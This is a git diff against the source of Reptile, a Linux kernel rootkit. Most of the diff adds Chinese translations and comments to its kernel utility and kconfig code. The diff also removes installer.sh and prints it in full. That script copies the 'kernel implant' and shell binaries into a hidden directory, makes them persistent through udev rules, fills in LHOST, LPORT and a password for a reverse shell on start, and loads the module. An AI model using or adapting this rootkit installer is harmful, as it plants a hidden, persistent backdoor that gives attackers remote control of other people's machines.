string_escape_mem(const char *src, size_t isz, char *dst, size_t osz, unsigned char c = *src++; /* - * Apply rules in the following sequence: - * - the character is printable, when @flags has - * %ESCAPE_NP bit set - * - the @only string is supplied and does not contain a - * character under question - * - the character doesn't fall into a class of symbols - * defined by given @flags - * In these cases we just pass through a character to the - * output buffer. + * 按以下顺序应用规则: + * - 当 @flags 设置了 %ESCAPE_NP 位时,字符是可打印的 + * - 提供了 @only 字符串且不包含当前字符 + * - 字符不属于由给定 @flags 定义的符号类 + * 在这些情况下,我们直接将字符传递到输出缓冲区。 */ if ((flags & ESCAPE_NP && isprint(c)) || - (is_dict && !strchr(only, c))) { - /* do nothing */ + (is_dict && !strchr(only, c))) { + /* 不做任何处理 */ } else { if (flags & ESCAPE_SPACE && escape_space(c, &p, end)) continue; @@ -186,7 +190,7 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz, if (flags & ESCAPE_NULL && escape_null(c, &p, end)) continue; - /* ESCAPE_OCTAL and ESCAPE_HEX always go last */ + /* ESCAPE_OCTAL 和 ESCAPE_HEX 总是最后处理 */ if (flags & ESCAPE_OCTAL && escape_octal(c, &p, end)) continue; @@ -194,12 +198,13 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz, continue; } - escape_passthrough(c, &p, end); + escape_passthrough(c, &p, end); // 直接通过字符 } - return p - dst; + return p - dst; // 返回处理后的字符串长度 } +// 复制并转义字符串 char *kstrdup_quotable(const char *src, gfp_t gfp) { size_t slen, dlen; @@ -211,52 +216,54 @@ char *kstrdup_quotable(const char *src, gfp_t gfp) return NULL; slen = strlen(src); - dlen = string_escape_mem(src, slen, NULL, 0, flags, esc); - dst = kmalloc(dlen + 1, gfp); + dlen = string_escape_mem(src, slen, NULL, 0, flags, esc); // 计算转义后的长度 + dst = kmalloc(dlen + 1, gfp); // 分配内存 if (!dst) return NULL; - WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen); - dst[dlen] = '\0'; + WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen); // 转义字符串 + dst[dlen] = '\0'; // 添加字符串结束符 return dst; } #include "util.h" +// 复制并转义命令行字符串 char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp) { char *buffer, *quoted; int i, res; - buffer = kmalloc(PAGE_SIZE, GFP_KERNEL); + buffer = kmalloc(PAGE_SIZE, GFP_KERNEL); // 分配内存 if (!buffer) return NULL; - res = get_cmdline(task, buffer, PAGE_SIZE - 1); - buffer[res] = '\0'; + res = get_cmdline(task, buffer, PAGE_SIZE - 1); // 获取命令行 + buffer[res] = '\0'; // 添加字符串结束符 - /* Collapse trailing NULLs, leave res pointing to last non-NULL. */ + /* 折叠尾随的 NULL,保留 res 指向最后一个非 NULL。 */ while (--res >= 0 && buffer[res] == '\0') ; - /* Replace inter-argument NULLs. */ + /* 替换参数之间的 NULL。 */ for (i = 0; i <= res; i++) if (buffer[i] == '\0') buffer[i] = ' '; - /* Make sure result is printable. */ - quoted = kstrdup_quotable(buffer, gfp); - kfree(buffer); + /* 确保结果是可打印的。 */ + quoted = kstrdup_quotable(buffer, gfp); // 转义字符串 + kfree(buffer); // 释放内存 return quoted; } #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0) +// 替换字符串中的字符 char *strreplace(char *s, char old, char new) { for (; *s; ++s) if (*s == old) - *s = new; + *s = new; // 替换字符 return s; } diff --git a/src/Reptile/kernel/util.c b/src/Reptile/kernel/util.c index 8f846ce..620986a 100644 --- a/src/Reptile/kernel/util.c +++ b/src/Reptile/kernel/util.c @@ -1,115 +1,120 @@ -#include -#include -#include -#include -#include -#include -#include -#include +#include // 包含内核模块相关的头文件 +#include // 包含内核符号表相关的头文件 +#include // 包含内核类型定义的头文件 +#include // 包含内核内存分配相关的头文件 +#include // 包含内存管理相关的头文件 +#include // 包含调度相关的头文件 +#include // 包含内核版本相关的头文件 +#include // 包含字符类型相关的头文件 #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) -# include +# include // 包含调度和内存管理相关的头文件(仅在内核版本4.11.0及以上) #endif -#include "util.h" +#include "util.h" // 包含自定义的util头文件 +// 声明一个函数指针,用于访问进程虚拟内存 asmlinkage int (*_access_process_vm)(struct task_struct *, unsigned long, void *, int, int); int util_init(void) { #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) - _access_process_vm = (void *) access_process_vm; + // 在内核版本4.11.0及以上,直接使用access_process_vm函数 + _access_process_vm = (void *) access_process_vm; #else + // 在内核版本4.11.0以下,通过符号表查找access_process_vm函数 _access_process_vm = (void *) ksym_lookup_name("access_process_vm"); #endif - if (!_access_process_vm) + // 如果函数指针为空,返回错误 + if (!_access_process_vm) return -EFAULT; - return 0; + return 0; // 初始化成功,返回0 } -/* stolen from mm/util.c */ +/* 从mm/util.c文件中借用的函数 */ +// 获取进程的命令行参数 int get_cmdline(struct task_struct *task, char *buffer, int buflen) { - int res = 0; - unsigned int len; - struct mm_struct *mm = get_task_mm(task); - unsigned long arg_start, arg_end, env_start, env_end; - if (!mm) + int res = 0; // 初始化返回值 + unsigned int len; // 命令行参数的长度 + struct mm_struct *mm = get_task_mm(task); // 获取进程的内存描述符 + unsigned long arg_start, arg_end, env_start, env_end; // 命令行参数和环境变量的起始和结束地址 + + if (!mm) // 如果内存描述符为空,跳转到out标签 goto out; - if (!mm->arg_end) + if (!mm->arg_end) // 如果命令行参数的结束地址为空,跳转到out_mm标签 goto out_mm; - down_read(&mm->mmap_sem); - arg_start = mm->arg_start; - arg_end = mm->arg_end; - env_start = mm->env_start; - env_end = mm->env_end; - up_read(&mm->mmap_sem); + down_read(&mm->mmap_sem); // 获取内存描述符的读锁 + arg_start = mm->arg_start; // 获取命令行参数的起始地址 + arg_end = mm->arg_end; // 获取命令行参数的结束地址 + env_start = mm->env_start; // 获取环境变量的起始地址 + env_end = mm->env_end; // 获取环境变量的结束地址 + up_read(&mm->mmap_sem); // 释放内存描述符的读锁 - len = arg_end - arg_start; + len = arg_end - arg_start; // 计算命令行参数的长度 - if (len > buflen) + if (len > buflen) // 如果长度大于缓冲区长度,截断长度 len = buflen; + // 读取进程的命令行参数到缓冲区 res = _access_process_vm(task, arg_start, buffer, len, FOLL_FORCE); - /* - * If the nul at the end of args has been overwritten, then - * assume application is using setproctitle(3). - */ + // 如果命令行参数的末尾被覆盖,假设应用程序使用了setproctitle(3) if (res > 0 && buffer[res-1] != '\0' && len < buflen) { - len = strnlen(buffer, res); + len = strnlen(buffer, res); // 获取缓冲区的实际长度 if (len < res) { - res = len; + res = len; // 更新返回值 } else { - len = env_end - env_start; - if (len > buflen - res) + len = env_end - env_start; // 计算环境变量的长度 + if (len > buflen - res) // 如果长度大于剩余缓冲区长度,截断长度 len = buflen - res; + // 读取进程的环境变量到缓冲区 res += _access_process_vm(task, env_start, buffer+res, len, FOLL_FORCE); - res = strnlen(buffer, res); + res = strnlen(buffer, res); // 获取缓冲区的实际长度 } } out_mm: - mmput(mm); + mmput(mm); // 释放内存描述符 out: - return res; + return res; // 返回读取的长度 } /* static int count_argc(const char *str) { - int count = 0; - bool was_space; + int count = 0; // 初始化参数计数 + bool was_space; // 标记上一个字符是否为空格 for (was_space = true; *str; str++) { - if (isspace(*str)) { - was_space = true; - } else if (was_space) { - was_space = false; - count++; + if (isspace(*str)) { // 如果当前字符为空格 + was_space = true; // 更新标记 + } else if (was_space) { // 如果当前字符不是空格且上一个字符为空格 + was_space = false; // 更新标记 + count++; // 增加参数计数 } } - return count; + return count; // 返回参数计数 } int run_cmd(const char *cmd) { - char **argv; - int ret; - int i; + char **argv; // 参数数组 + int ret; // 返回值 + int i; // 循环变量 - argv = argv_split(GFP_KERNEL, cmd, NULL); + argv = argv_split(GFP_KERNEL, cmd, NULL); // 分割命令行参数 if (argv) { - ret = exec(argv); - argv_free(argv); + ret = exec(argv); // 执行命令 + argv_free(argv); // 释放参数数组 } else { - ret = -ENOMEM; + ret = -ENOMEM; // 内存分配失败,返回错误 } - return ret; + return ret; // 返回执行结果 } */ \ No newline at end of file diff --git a/src/Reptile/scripts/installer.sh b/src/Reptile/scripts/installer.sh deleted file mode 100644 index 954411e..0000000 --- a/src/Reptile/scripts/installer.sh +++ /dev/null @@ -1,65 +0,0 @@ -#!/bin/bash - -function random_gen_dec { - RETVAL=$(shuf -i 50-99 -n 1) -} - -PWD="$(cd "$(dirname ${BASH_SOURCE[0]})" && pwd)" -[ $? -ne 0 ] && PWD="$(cd "$(dirname $0)" && pwd)" -source "${BASH_SOURCE%/*}/../.config" || \ -{ echo "Error: no .config file found!"; exit; } - -UDEV_DIR=/lib/udev -random_gen_dec && NAME=$RETVAL-$HIDE.rules -RULE=/lib/udev/rules.d/$NAME -[ ! -d /lib/udev/rules.d ] && RULE=/etc/udev/rules.d/$NAME - -# Create Reptile's folder -mkdir -p /$HIDE && \ - -# Copy "cmd" binary -cp $PWD/../output/cmd /$HIDE/$HIDE"_cmd" && \ - -# Copy "shell" binary -cp $PWD/../output/shell /$HIDE/$HIDE"_shell" && \ - -# Copy "bashrc" -cp $PWD/../scripts/bashrc /$HIDE/$HIDE"_rc" && \ - -# Create start script -cp $PWD/../scripts/start /$HIDE/$HIDE"_start" && \ -sed -i s!XXXXX!$TAG_NAME! /$HIDE/$HIDE"_start" && \ -sed -i s!\#CMD!/$HIDE/$HIDE"_cmd"! /$HIDE/$HIDE"_start" && \ -if [ "$CONFIG_RSHELL_ON_START" == "y" ]; then - sed -i s!\#SHELL!/$HIDE/$HIDE"_shell"! /$HIDE/$HIDE"_start" && \ - sed -i s!LHOST!$LHOST! /$HIDE/$HIDE"_start" && \ - sed -i s!LPORT!$LPORT! /$HIDE/$HIDE"_start" && \ - sed -i s!PASS!$PASSWORD! /$HIDE/$HIDE"_start" && \ - sed -i s!INTERVAL!$INTERVAL! /$HIDE/$HIDE"_start" && \ - true || false; -fi - -# Permissions -chmod 777 /$HIDE/* && \ - -# Copy kernel implant -cp $PWD/../output/reptile /$HIDE/$HIDE && \ - -# Make persistent -cp $PWD/../output/reptile $UDEV_DIR/$HIDE && \ -cp $PWD/../scripts/rule $RULE && \ - -# cleaning output dir -rm -rf $PWD/../output && \ - -# Load Reptile -/$HIDE/$HIDE && \ - -echo -e "\n\e[44;01;33m*** DONE! ***\e[00m\n" || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; } - -# How to Uninstall -echo -e "UNINSTALL:\n" -echo -e "/$HIDE/$HIDE""_cmd show" -echo -e "rmmod reptile_module" -echo -e "rm -rf /$HIDE $RULE $UDEV_DIR/$HIDE" -echo \ No newline at end of file diff --git a/src/Reptile/scripts/kconfig/confdata.c b/src/Reptile/scripts/kconfig/confdata.c index 506a956..59185d9 100644 --- a/src/Reptile/scripts/kconfig/confdata.c +++ b/src/Reptile/scripts/kconfig/confdata.c @@ -17,456 +17,473 @@ #include "lkc.h" +// 定义警告信息输出函数 static void conf_warning(const char *fmt, ...) - __attribute__ ((format (printf, 1, 2))); + __attribute__ ((format (printf, 1, 2))); +// 定义普通信息输出函数 static void conf_message(const char *fmt, ...) - __attribute__ ((format (printf, 1, 2))); + __attribute__ ((format (printf, 1, 2))); +// 配置文件名 static const char *conf_filename; +// 当前行号 static int conf_lineno, conf_warnings, conf_unsaved; +// 默认配置文件名 const char conf_defname[] = ".defconfig"; +// 输出警告信息 static void conf_warning(const char *fmt, ...) { - va_list ap; - va_start(ap, fmt); - fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno); - vfprintf(stderr, fmt, ap); - fprintf(stderr, "\n"); - va_end(ap); - conf_warnings++; + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); + conf_warnings++; } +// 默认的消息回调函数 static void conf_default_message_callback(const char *fmt, va_list ap) { - printf("#\n# "); - vprintf(fmt, ap); - printf("\n#\n"); + printf("#\n# "); + vprintf(fmt, ap); + printf("\n#\n"); } +// 消息回调函数指针 static void (*conf_message_callback) (const char *fmt, va_list ap) = - conf_default_message_callback; + conf_default_message_callback; + +// 设置消息回调函数 void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap)) { - conf_message_callback = fn; + conf_message_callback = fn; } +// 输出消息信息 static void conf_message(const char *fmt, ...) { - va_list ap; + va_list ap; - va_start(ap, fmt); - if (conf_message_callback) - conf_message_callback(fmt, ap); + va_start(ap, fmt); + if (conf_message_callback) + conf_message_callback(fmt, ap); } +// 获取配置文件名 const char *conf_get_configname(void) { - char *name = getenv(PRODUCT_ENV"_CONFIG"); + char *name = getenv(PRODUCT_ENV"_CONFIG"); - return name ? name : ".config"; + return name ? name : ".config"; } +// 获取自动配置文件名 const char *conf_get_autoconfig_name(void) { - return getenv(PRODUCT_ENV"_AUTOCONFIG"); + return getenv(PRODUCT_ENV"_AUTOCONFIG"); } +// 展开配置值中的变量 static char *conf_expand_value(const char *in) { - struct symbol *sym; - const char *src; - static char res_value[SYMBOL_MAXLENGTH]; - char *dst, name[SYMBOL_MAXLENGTH]; - - res_value[0] = 0; - dst = name; - while ((src = strchr(in, '$'))) { - strncat(res_value, in, src - in); - src++; - dst = name; - while (isalnum(*src) || *src == '_') - *dst++ = *src++; - *dst = 0; - sym = sym_lookup(name, 0); - sym_calc_value(sym); - strcat(res_value, sym_get_string_value(sym)); - in = src; - } - strcat(res_value, in); - - return res_value; + struct symbol *sym; + const char *src; + static char res_value[SYMBOL_MAXLENGTH]; + char *dst, name[SYMBOL_MAXLENGTH]; + + res_value[0] = 0; + dst = name; + while ((src = strchr(in, '$'))) { + strncat(res_value, in, src - in); + src++; + dst = name; + while (isalnum(*src) || *src == '_') + *dst++ = *src++; + *dst = 0; + sym = sym_lookup(name, 0); + sym_calc_value(sym); + strcat(res_value, sym_get_string_value(sym)); + in = src; + } + strcat(res_value, in); + + return res_value; } +// 获取默认配置文件名 char *conf_get_default_confname(void) { - struct stat buf; - static char fullname[PATH_MAX+1]; - char *env, *name; - - name = conf_expand_value(conf_defname); - env = getenv(SRCTREE); - if (env) { - sprintf(fullname, "%s/%s", env, name); - if (!stat(fullname, &buf)) - return fullname; - } - return name; + struct stat buf; + static char fullname[PATH_MAX+1]; + char *env, *name; + + name = conf_expand_value(conf_defname); + env = getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + if (!stat(fullname, &buf)) + return fullname; + } + return name; } +// 设置符号值 static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p) { - char *p2; - - switch (sym->type) { - case S_TRISTATE: - if (p[0] == 'm') { - sym->def[def].tri = mod; - sym->flags |= def_flags; - break; - } - /* fall through */ - case S_BOOLEAN: - if (p[0] == 'y') { - sym->def[def].tri = yes; - sym->flags |= def_flags; - break; - } - if (p[0] == 'n') { - sym->def[def].tri = no; - sym->flags |= def_flags; - break; - } - if (def != S_DEF_AUTO) - conf_warning("symbol value '%s' invalid for %s", - p, sym->name); - return 1; - case S_OTHER: - if (*p != '"') { - for (p2 = p; *p2 && !isspace(*p2); p2++) - ; - sym->type = S_STRING; - goto done; - } - /* fall through */ - case S_STRING: - if (*p++ != '"') - break; - for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) { - if (*p2 == '"') { - *p2 = 0; - break; - } - memmove(p2, p2 + 1, strlen(p2)); - } - if (!p2) { - if (def != S_DEF_AUTO) - conf_warning("invalid string found"); - return 1; - } - /* fall through */ - case S_INT: - case S_HEX: - done: - if (sym_string_valid(sym, p)) { - sym->def[def].val = strdup(p); - sym->flags |= def_flags; - } else { - if (def != S_DEF_AUTO) - conf_warning("symbol value '%s' invalid for %s", - p, sym->name); - return 1; - } - break; - default: - ; - } - return 0; + char *p2; + + switch (sym->type) { + case S_TRISTATE: + if (p[0] == 'm') { + sym->def[def].tri = mod; + sym->flags |= def_flags; + break; + } + // 跌落至下一个case + case S_BOOLEAN: + if (p[0] == 'y') { + sym->def[def].tri = yes; + sym->flags |= def_flags; + break; + } + if (p[0] == 'n') { + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + } + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + case S_OTHER: + if (*p != '"') { + for (p2 = p; *p2 && !isspace(*p2); p2++) + ; + sym->type = S_STRING; + goto done; + } + // 跌落至下一个case + case S_STRING: + if (*p++ != '"') + break; + for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) { + if (*p2 == '"') { + *p2 = 0; + break; + } + memmove(p2, p2 + 1, strlen(p2)); + } + if (!p2) { + if (def != S_DEF_AUTO) + conf_warning("invalid string found"); + return 1; + } + // 跌落至下一个case + case S_INT: + case S_HEX: + done: + if (sym_string_valid(sym, p)) { + sym->def[def].val = strdup(p); + sym->flags |= def_flags; + } else { + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + } + break; + default: + ; + } + return 0; } +// 增加字节到行缓冲区 #define LINE_GROWTH 16 static int add_byte(int c, char **lineptr, size_t slen, size_t *n) { - char *nline; - size_t new_size = slen + 1; - if (new_size > *n) { - new_size += LINE_GROWTH - 1; - new_size *= 2; - nline = realloc(*lineptr, new_size); - if (!nline) - return -1; - - *lineptr = nline; - *n = new_size; - } - - (*lineptr)[slen] = c; - - return 0; + char *nline; + size_t new_size = slen + 1; + if (new_size > *n) { + new_size += LINE_GROWTH - 1; + new_size *= 2; + nline = realloc(*lineptr, new_size); + if (!nline) + return -1; + + *lineptr = nline; + *n = new_size; + } + + (*lineptr)[slen] = c; + + return 0; } +// 兼容getline函数 static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream) { - char *line = *lineptr; - size_t slen = 0; - - for (;;) { - int c = getc(stream); - - switch (c) { - case '\n': - if (add_byte(c, &line, slen, n) < 0) - goto e_out; - slen++; - /* fall through */ - case EOF: - if (add_byte('\0', &line, slen, n) < 0) - goto e_out; - *lineptr = line; - if (slen == 0) - return -1; - return slen; - default: - if (add_byte(c, &line, slen, n) < 0) - goto e_out; - slen++; - } - } + char *line = *lineptr; + size_t slen = 0; + + for (;;) { + int c = getc(stream); + + switch (c) { + case '\n': + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + // 跌落至下一个case + case EOF: + if (add_byte('\0', &line, slen, n) < 0) + goto e_out; + *lineptr = line; + if (slen == 0) + return -1; + return slen; + default: + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + } + } e_out: - line[slen-1] = '\0'; - *lineptr = line; - return -1; + line[slen-1] = '\0'; + *lineptr = line; + return -1; } +// 读取简单的配置文件 int conf_read_simple(const char *name, int def) { - FILE *in = NULL; - char *line = NULL; - size_t line_asize = 0; - char *p, *p2; - struct symbol *sym; - int i, def_flags; - - if (name) { - in = zconf_fopen(name); - } else { - struct property *prop; - - name = conf_get_configname(); - in = zconf_fopen(name); - if (in) - goto load; - sym_add_change_count(1); - if (!sym_defconfig_list) { - if (modules_sym) - sym_calc_value(modules_sym); - return 1; - } - - for_all_defaults(sym_defconfig_list, prop) { - if (expr_calc_value(prop->visible.expr) == no || - prop->expr->type != E_SYMBOL) - continue; - name = conf_expand_value(prop->expr->left.sym->name); - in = zconf_fopen(name); - if (in) { - conf_message(_("using defaults found in %s"), - name); - goto load; - } - } - } - if (!in) - return 1; + FILE *in = NULL; + char *line = NULL; + size_t line_asize = 0; + char *p, *p2; + struct symbol *sym; + int i, def_flags; + + if (name) { + in = zconf_fopen(name); + } else { + struct property *prop; + + name = conf_get_configname(); + in = zconf_fopen(name); + if (in) + goto load; + sym_add_change_count(1); + if (!sym_defconfig_list) { + if (modules_sym) + sym_calc_value(modules_sym); + return 1; + } + + for_all_defaults(sym_defconfig_list, prop) { + if (expr_calc_value(prop->visible.expr) == no || + prop->expr->type != E_SYMBOL) + continue; + name = conf_expand_value(prop->expr->left.sym->name); + in = zconf_fopen(name); + if (in) { + conf_message(_("using defaults found in %s"), + name); + goto load; + } + } + } + if (!in) + return 1; load: - conf_filename = name; - conf_lineno = 0; - conf_warnings = 0; - conf_unsaved = 0; - - def_flags = SYMBOL_DEF << def; - for_all_symbols(i, sym) { - sym->flags |= SYMBOL_CHANGED; - sym->flags &= ~(def_flags|SYMBOL_VALID); - if (sym_is_choice(sym)) - sym->flags |= def_flags; - switch (sym->type) { - case S_INT: - case S_HEX: - case S_STRING: - if (sym->def[def].val) - free(sym->def[def].val); - /* fall through */ - default: - sym->def[def].val = NULL; - sym->def[def].tri = no; - } - } - - while (compat_getline(&line, &line_asize, in) != -1) { - conf_lineno++; - sym = NULL; - if (line[0] == '#') { - if (memcmp(line + 2, CONFIG_, strlen(CONFIG_))) - continue; - p = strchr(line + 2 + strlen(CONFIG_), ' '); - if (!p) - continue; - *p++ = 0; - if (strncmp(p, "is not set", 10)) - continue; - if (def == S_DEF_USER) { - sym = sym_find(line + 2 + strlen(CONFIG_)); - if (!sym) { - sym_add_change_count(1); - goto setsym; - } - } else { - sym = sym_lookup(line + 2 + strlen(CONFIG_), 0); - if (sym->type == S_UNKNOWN) - sym->type = S_BOOLEAN; - } - if (sym->flags & def_flags) { - conf_warning("override: reassigning to symbol %s", sym->name); - } - switch (sym->type) { - case S_BOOLEAN: - case S_TRISTATE: - sym->def[def].tri = no; - sym->flags |= def_flags; - break; - default: - ; - } - } else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) { - p = strchr(line + strlen(CONFIG_), '='); - if (!p) - continue; - *p++ = 0; - p2 = strchr(p, '\n'); - if (p2) { - *p2-- = 0; - if (*p2 == '\r') - *p2 = 0; - } - if (def == S_DEF_USER) { - sym = sym_find(line + strlen(CONFIG_)); - if (!sym) { - sym_add_change_count(1); - goto setsym; - } - } else { - sym = sym_lookup(line + strlen(CONFIG_), 0); - if (sym->type == S_UNKNOWN) - sym->type = S_OTHER; - } - if (sym->flags & def_flags) { - conf_warning("override: reassigning to symbol %s", sym->name); - } - if (conf_set_sym_val(sym, def, def_flags, p)) - continue; - } else { - if (line[0] != '\r' && line[0] != '\n') - conf_warning("unexpected data"); - continue; - } + conf_filename = name; + conf_lineno = 0; + conf_warnings = 0; + conf_unsaved = 0; + + def_flags = SYMBOL_DEF << def; + for_all_symbols(i, sym) { + sym->flags |= SYMBOL_CHANGED; + sym->flags &= ~(def_flags|SYMBOL_VALID); + if (sym_is_choice(sym)) + sym->flags |= def_flags; + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + if (sym->def[def].val) + free(sym->def[def].val); + // 跌落至下一个case + default: + sym->def[def].val = NULL; + sym->def[def].tri = no; + } + } + + while (compat_getline(&line, &line_asize, in) != -1) { + conf_lineno++; + sym = NULL; + if (line[0] == '#') { + if (memcmp(line + 2, CONFIG_, strlen(CONFIG_))) + continue; + p = strchr(line + 2 + strlen(CONFIG_), ' '); + if (!p) + continue; + *p++ = 0; + if (strncmp(p, "is not set", 10)) + continue; + if (def == S_DEF_USER) { + sym = sym_find(line + 2 + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + 2 + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_BOOLEAN; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + default: + ; + } + } else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) { + p = strchr(line + strlen(CONFIG_), '='); + if (!p) + continue; + *p++ = 0; + p2 = strchr(p, '\n'); + if (p2) { + *p2-- = 0; + if (*p2 == '\r') + *p2 = 0; + } + if (def == S_DEF_USER) { + sym = sym_find(line + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_OTHER; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + if (conf_set_sym_val(sym, def, def_flags, p)) + continue; + } else { + if (line[0] != '\r' && line[0] != '\n') + conf_warning("unexpected data"); + continue; + } setsym: - if (sym && sym_is_choice_value(sym)) { - struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); - switch (sym->def[def].tri) { - case no: - break; - case mod: - if (cs->def[def].tri == yes) { - conf_warning("%s creates inconsistent choice state", sym->name); - cs->flags &= ~def_flags; - } - break; - case yes: - if (cs->def[def].tri != no) - conf_warning("override: %s changes choice state", sym->name); - cs->def[def].val = sym; - break; - } - cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri); - } - } - free(line); - fclose(in); - - if (modules_sym) - sym_calc_value(modules_sym); - return 0; + if (sym && sym_is_choice_value(sym)) { + struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); + switch (sym->def[def].tri) { + case no: + break; + case mod: + if (cs->def[def].tri == yes) { + conf_warning("%s creates inconsistent choice state", sym->name); + cs->flags &= ~def_flags; + } + break; + case yes: + if (cs->def[def].tri != no) + conf_warning("override: %s changes choice state", sym->name); + cs->def[def].val = sym; + break; + } + cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri); + } + } + free(line); + fclose(in); + + if (modules_sym) + sym_calc_value(modules_sym); + return 0; } +// 读取配置文件 int conf_read(const char *name) { - struct symbol *sym; - int i; - - sym_set_change_count(0); - - if (conf_read_simple(name, S_DEF_USER)) - return 1; - - for_all_symbols(i, sym) { - sym_calc_value(sym); - if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO)) - continue; - if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) { - /* check that calculated value agrees with saved value */ - switch (sym->type) { - case S_BOOLEAN: - case S_TRISTATE: - if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym)) - break; - if (!sym_is_choice(sym)) - continue; - /* fall through */ - default: - if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val)) - continue; - break; - } - } else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE)) - /* no previous value and not saved */ - continue; - conf_unsaved++; - /* maybe print value in verbose mode... */ - } - - for_all_symbols(i, sym) { - if (sym_has_value(sym) && !sym_is_choice_value(sym)) { - /* Reset values of generates values, so they'll appear - * as new, if they should become visible, but that - * doesn't quite work if the Kconfig and the saved - * configuration disagree. - */ - if (sym->visible == no && !conf_unsaved) - sym->flags &= ~SYMBOL_DEF_USER; - switch (sym->type) { - case S_STRING: - case S_INT: - case S_HEX: - /* Reset a string value if it's out of range */ - if (sym_string_within_range(sym, sym->def[S_DEF_USER].val)) - break; - sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER); - conf_unsaved++; - break; - default: - break; - } - } - } - - sym_add_change_count(conf_warnings || conf_unsaved); - - return 0; + struct symbol *sym; + int i; + + sym_set_change_count(0); + + if (conf_read_simple(name, S_DEF_USER)) + return 1; + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO)) + continue; + if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) { + // 检查计算值是否与保存值一致 + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym)) + break; + if (!sym_is_choice(sym)) + continue; + // 跌落至下一个case + default: + if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val)) + continue; + break; + } + } else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE)) + // 没有先前值且未保存 + continue; + conf_unsaved++; + // 在详细模式下可能打印值... + } + + for_all_symbols(i, sym) { + if (sym_has_value(sym) && !sym_is_choice_value(sym)) { + // 重置生成值的值,以便它们在出现时会显示为新值, + // 但如果Kconfig和保存的配置不一致,则不起作用。 + if (sym->visible == no && !conf_unsaved) + sym->flags &= ~SYMBOL_DEF_USER; + switch (sym->type) { + case S_STRING: + case S_INT: + case S_HEX: + // 如果字符串值超出范围,则重置字符串值 + if (sym_string_within_range(sym, sym->def[S_DEF_USER].val)) + break; + sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER); + conf_unsaved++; + break; + default: + break; + } + } + } + + sym_add_change_count(conf_warnings || conf_unsaved); + + return 0; } /* diff --git a/src/Reptile/scripts/kconfig/expr.c b/src/Reptile/scripts/kconfig/expr.c index d662652..ca93dfa 100644 --- a/src/Reptile/scripts/kconfig/expr.c +++ b/src/Reptile/scripts/kconfig/expr.c @@ -7,128 +7,146 @@ #include #include -#include "lkc.h" +#include "lkc.h" // 包含外部定义的头文件 -#define DEBUG_EXPR 0 +#define DEBUG_EXPR 0 // 调试宏,当前未使用 +// 为符号创建一个新的表达式 struct expr *expr_alloc_symbol(struct symbol *sym) { - struct expr *e = xcalloc(1, sizeof(*e)); - e->type = E_SYMBOL; - e->left.sym = sym; - return e; + struct expr *e = xcalloc(1, sizeof(*e)); // 动态分配内存并初始化为零 + e->type = E_SYMBOL; // 设置表达式类型为符号 + e->left.sym = sym; // 将符号存储在表达式的左边 + return e; // 返回创建的表达式 } +// 创建一个带有一个子表达式的新表达式 struct expr *expr_alloc_one(enum expr_type type, struct expr *ce) { - struct expr *e = xcalloc(1, sizeof(*e)); - e->type = type; - e->left.expr = ce; - return e; + struct expr *e = xcalloc(1, sizeof(*e)); // 动态分配内存并初始化为零 + e->type = type; // 设置表达式类型 + e->left.expr = ce; // 将子表达式存储在表达式的左边 + return e; // 返回创建的表达式 } +// 创建一个带有两个子表达式的新表达式 struct expr *expr_alloc_two(enum expr_type type, struct expr *e1, struct expr *e2) { - struct expr *e = xcalloc(1, 